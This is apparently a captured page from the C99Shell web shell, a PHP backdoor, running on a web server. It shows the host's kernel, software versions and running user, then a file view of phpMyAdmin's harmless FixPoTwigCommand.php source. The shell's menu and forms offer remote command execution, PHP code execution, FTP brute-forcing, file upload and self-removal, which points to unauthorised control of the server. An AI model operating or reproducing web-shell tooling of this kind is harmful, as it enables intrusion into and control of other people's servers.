!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/phpmyadmin/libraries/classes/Command/   drwxr-xr-x
Free 15.6 GB of 61.93 GB (25.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FixPoTwigCommand.php (2.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Command;

use 
Symfony\Component\Console\Command\Command;
use 
Symfony\Component\Console\Input\InputInterface;
use 
Symfony\Component\Console\Output\OutputInterface;

use function 
file_get_contents;
use function 
file_put_contents;
use function 
intval;
use function 
is_array;
use function 
json_decode;
use function 
preg_replace_callback;

use const 
ROOT_PATH;

final class 
FixPoTwigCommand extends Command
{
    
/** @var string|null */
    
protected static $defaultName 'fix-po-twig';

    private const 
POT_FILE ROOT_PATH 'po/phpmyadmin.pot';
    private const 
REPLACE_FILE ROOT_PATH 'twig-templates/replace.json';

    protected function 
configure(): void
    
{
        
$this->setDescription('Fixes POT file for Twig templates');
        
$this->setHelp(
            
'The <info>%command.name%</info> command fixes the Twig file name and line number in the'
            
' POT file to match the Twig template and not the compiled Twig file.'
        
);
    }

    protected function 
execute(InputInterface $inputOutputInterface $output): int
    
{
        
$replaceFile file_get_contents(self::REPLACE_FILE);
        if (
$replaceFile === false) {
            return 
Command::FAILURE;
        }

        
$replacements json_decode($replaceFiletrue);
        if (! 
is_array($replacements)) {
            return 
Command::FAILURE;
        }

        
/* Read pot file */
        
$pot file_get_contents(self::POT_FILE);
        if (
$pot === false) {
            return 
Command::FAILURE;
        }

        
/* Do the replacements */
        
$pot preg_replace_callback(
            
'@(twig-templates[0-9a-f/]*.php):([0-9]*)@',
            static function (array 
$matches) use ($replacements): string {
                
$filename $matches[1];
                
$line intval($matches[2]);
                
$replace $replacements[$filename];
                foreach (
$replace[1] as $cacheLine => $result) {
                    if (
$line >= $cacheLine) {
                        return 
$replace[0] . ':' $result;
                    }
                }

                return 
$replace[0] . ':0';
            },
            
$pot
        
);
        if (
$pot === null) {
            return 
Command::FAILURE;
        }

        if (
file_put_contents(self::POT_FILE$pot) === false) {
            return 
Command::FAILURE;
        }

        return 
Command::SUCCESS;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2998 ]--